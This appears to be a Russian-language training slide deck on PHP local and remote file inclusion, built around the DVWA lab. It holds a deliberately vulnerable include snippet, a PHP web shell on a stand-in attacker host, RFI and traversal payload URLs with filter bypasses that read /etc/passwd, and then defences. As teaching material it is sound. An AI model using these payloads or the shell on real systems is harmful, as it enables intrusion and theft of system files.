WebSecurity 

Часть 6

File inclusion

File inclusion

File Inclusion делится на две основные ветви - Remote File Inclusion (RFI) Local File Inclusion (LFI).

Основосоставляющая у них одна, это недостаточная фильтрация переменной, которая используется в функциях отвечающих за подключения файлов (например функции include(), require()). В Remote File Inclusion в настройках PHP включены allow_url_fopen и allow_url_include, а Local File Inclusion это присутствие той же самой переменной в функции отвечающий за подключение файла, в любом месте и отключенные allow_url_fopen и allow_url_include соответственно.

Remote File Inclusion

Это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini:


php.ini

allow_url_fopen = On
allow_url_include = On

Local File Inclusion

Local File Inclusion - это подключение произвольного файла расположенного на локальном (атакуемом) сервере в работу уязвимого.

Open Web Application Security Project

  • A1 Внедрение кода
  • A2 Некорректная аутентификация и управление сессией
  • A3 Межсайтовый скриптинг
  • A4 Нарушение контроля доступа
  • A5 Небезопасная конфигурация
  • A6 Утечка чувствительных данных
  • A7 Недостаточная защита от атак (NEW)
  • A8 Подделка межсайтовых запросов
  • A9 Использование компонентов с известными уязвимостями
  • A10 Незащищенный API (NEW)

Рейтинг наиболее популярных атак

Стоимость ошибки

Стоимость ошибки

Пример


# Уязвимый сайт
<?php 
    $file = $_GET['page']; //The page we wish to display  
    include($file); 
?>


LFI
http://127.0.0.1/vulnerabilities/fi/?page=/etc/passwd

RFI
http://127.0.0.1/vulnerabilities/fi/?page=http://shell.com/shell.php


# В результате мы получим следующее:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
...

shell script (RFI)


# Сайт злоумышленника с shell-скриптом
http://hacker.ll/shell.php

<?php
    $output = isset($_GET['command']) ? shell_exec($_GET['command']) : '';
    echo "<pre>$output</pre>";
?>

# При вызове следующего адреса мы получим содержимое файла паролей
http://hacker.ll/shell.php?command=cat /etc/passwd


# Уязвимый сайт
http://dvwa.ll/vulnerabilities/fi/?page=file1.php

# В параметр page вместо файла сайта - подставляем наш shell-скрипт.

# Енкодируем команду для shell-скрипта (https://meyerweb.com/eric/tools/dencoder/)
http://dvwa.ll/vulnerabilities/fi/?page=http://hacker.ll/shell.php?command=cat%2520%252F/etc/passwd

# В результате мы получим следующее:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

LFI


# Уязвимый сайт
http://dvwa.ll/vulnerabilities/fi/?page=file1.php

# В параметр page вместо файла сайта - подставляем необходимый нам
# файл, находящийся на текущем сервере

# В результате имеем следующее
http://dvwa.ll/vulnerabilities/fi/?page=/etc/passwd

# В результате мы получим следующее:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...

Directory traversal

vs

file inclusion

В основном разница заключается в том, что с уязвимостью включения файлов ресурс загружается и выполняется в контексте текущего приложения.

 

Уязвимость, связанная с обращением к каталогу, дает вам возможность читать этот ресурс.

Payloads file inclusion


File Inclusion - Path Traversal/

* Basic LFI
* Basic RFI (null byte, double encoding and other tricks)
* LFI / RFI Wrappers
* LFI to RCE via /proc/*/fd
* LFI to RCE via Upload
* LFI to RCE via Phpinfo()
* LFI to RCE via input:// stream
* LFI to RCE via controlled log file
* LFI to RCE via PHP Sessions
* Checklist - Common ways of upgrading from LFI to RCE

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal

Базы

Коллекция из нескольких типов списков, используемых в процессе оценки безопасности, собранные в одном месте. Типы списков включают в себя имена пользователей, пароли, URL, чувствительные шаблоны данных, Fuzzing полезные нагрузки, веб-оболочки, и многое другое.

https://github.com/danielmiessler/SecLists

PayloadsAllTheThings

Список полезных нагрузок и обходов для анализа безопасности веб-приложений.

  • Tools
  • Docker
  • More resources
    • Book's list
    • Blogs/Websites
    • Youtube
    • Practice
    • Bug Bounty

https://github.com/swisskyrepo/PayloadsAllTheThings

PayloadsAllTheThings

https://github.com/swisskyrepo/PayloadsAllTheThings


AWS Amazon Bucket S3
CRLF injection
CSV injection
CVE Shellshock Heartbleed Struts2
File Inclusion - Path Traversal
Insecured source code management
LDAP injection
Methodology and Resources
NoSQL injection
OAuth
Open redirect
PHP juggling type
PHP serialization
Remote commands execution
SQL injection
SSRF injection

Server Side Template injections
Tar commands execution
Traversal directory
Upload insecure files
Web cache deception
XPATH injection
XSS injection
XXE injections

File inclusion сканеры

DVWA


# Low LFI
http://dvwa.ll/vulnerabilities/fi/?page=../../../../../etc/passwd
http://dvwa.ll/vulnerabilities/fi/?page=data:text/plaintext,%3C?php%20phpinfo%28%29;?%3E
http://dvwa.ll/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

# Low RFI
http://dvwa.ll/vulnerabilities/fi/?page=http://hacker.ll/shell.php?command=cat%2520%252F/etc/passwd

#=====================================================

# Medium LFI
http://dvwa.ll/vulnerabilities/fi/?page=/etc/passwd

# Medium RFI
http://dvwa.ll/vulnerabilities/fi/?
    page=hthttp://tp://hacker.ll/shell.php?command=cat%2520%252F/etc/passwd

#=====================================================

# Heigh LFI (https://ru.wikipedia.org/wiki/File_(схема_URI))
http://dvwa.ll/vulnerabilities/fi/?page=file:///etc/passwd
http://dvwa.ll/vulnerabilities/fi/?
    page=file1.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

Защита от File Inclusion

  • Отключение:
    • allow_url_fopen = Off
    • allow_url_include = Off
  • Санитизация по принципу белого листа

WAF

WAF

WAF может быть реализован как облачный сервис, агент на веб-сервере или специализированное железное или виртуальное устройство. Развитие рынка WAF пока складывается так, что облачный сервис востребован в среднем и малом бизнесе, а для крупного бизнеса обычно приобретается отдельное устройство. WAF как модуль веб-сервера так и остался, по сути, в зачаточном состоянии и больше подходит для энтузиастов, чем для бизнес-задач.

WAF

Cloudflare Pricing

Где потренироваться?

  • http://www.dvwa.co.uk/
  • http://www.itsecgames.com/
  • https://habrahabr.ru/company/pentestit/blog/261569/
  • https://habrahabr.ru/company/pt/blog/138779/

Полезные ссылки

  • https://hackware.ru/?p=1359
  • https://ru.wikipedia.org/wiki/PHP-инъекция
  • https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
  • https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
  • https://forum.antichat.ru/threads/vsja-pravda-o-local-remote-file-inclusion.232773/
  • http://www.xakep.ru/post/49508/
  • http://www.adminso.es/recursos/Proyectos/PFM/2011_12/PFM_DVWA.pdf

Вопросы?

To be continued ...

Web Security Part 6

By James Jason

Web Security Part 6

  • 868